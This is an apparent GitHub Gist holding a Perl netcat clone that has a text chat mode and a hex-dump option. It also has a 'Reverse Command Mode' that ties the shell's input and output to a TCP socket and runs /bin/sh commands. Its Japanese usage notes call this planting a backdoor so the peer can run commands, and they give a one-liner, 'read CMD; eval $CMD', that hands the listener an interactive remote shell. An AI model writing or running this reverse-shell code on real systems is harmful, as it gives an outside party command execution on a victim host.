Last active
April 19, 2018 02:41
-
-
Save hayajo/1351e9f385e198c9777c39b22c2ded3f to your computer and use it in GitHub Desktop.
perlでnetcat
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use strict; | |
use warnings; | |
use Socket; | |
use Getopt::Long; | |
GetOptions(\my %opts, qw/x/); | |
if (scalar(@ARGV) < 2) { | |
print "usage: $0 [-x] HOST PORT\n"; | |
exit(1); | |
} | |
my ($rhost, $rport, $sh_exec) = @ARGV; | |
my $addr = inet_aton($rhost) or die "failed to resolve $rhost $!"; | |
my $sock_addr = sockaddr_in($rport, $addr); | |
socket(my $sock, PF_INET, SOCK_STREAM, getprotobyname('tcp')) | |
or die "failed to open socket: $!"; | |
connect($sock, $sock_addr) | |
or die "failed to connect $rhost:$rport: $!"; | |
# Reverse Command Mode | |
if ($sh_exec) { | |
open(STDIN, '<&', $sock); | |
open(STDOUT, '>&', $sock); | |
open(STDERR, '>&', $sock); | |
exec('/bin/sh', '-c', $sh_exec); | |
} | |
# Chat Mode | |
my $old_handle = select $sock; # old_handle is STDOUT | |
$| = 1; # unbuffered socket | |
select $old_handle; | |
my $rin = ''; | |
vec($rin, fileno(STDIN), 1) = 1; | |
vec($rin, fileno($sock), 1) = 1; | |
while (select(my $rout = $rin, undef, undef, undef) > 0) { | |
if (vec($rout, fileno($sock), 1)) { | |
read_write($sock, *STDOUT, \%opts) or last | |
} | |
if (vec($rout, fileno(STDIN), 1)) { | |
read_write(*STDIN, $sock, \%opts) or last | |
} | |
} | |
close $sock; | |
# === END === | |
sub read_write { | |
my ($rfh, $wfh, $opts) = @_; | |
my $line = <$rfh>; | |
return unless defined $line; | |
hex_dump($line) if $opts->{x}; | |
print $wfh $line; | |
} | |
sub hex_dump { | |
my @data = unpack 'C*', shift; | |
for (my $i = 0; $i < scalar(@data); $i++) { | |
printf '%02x ', $data[$i]; | |
if ((($i % 16) == 15) || ($i == scalar(@data) - 1)) { | |
for (my $j = 0; $j < 15 - ($i % 16); $j++) { | |
print ' '; | |
} | |
print '| '; | |
for (my $j = ($i - ($i % 16)); $j <= $i; $j++) { | |
my $byte = $data[$j]; | |
if (($byte > 31) && ($byte < 127)) { | |
print pack 'C', $byte; | |
} | |
else { | |
print '.'; | |
} | |
} | |
print "\n"; | |
} | |
} | |
} |
Chat
peer$ ncat -l 127.0.0.1 8080
$ perl netcat.pl 127.0.0.1 8080
Reverse Command
バックドアを仕込んでpeerからコマンドを実行可能とする
peer$ ncat -l 127.0.0.1 8080
$ perl netcat.pl 127.0.0.1 8080 'read CMD; eval $CMD'
in peer
whoami
# show COMMAND output
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
LISTENモードは未実装だよ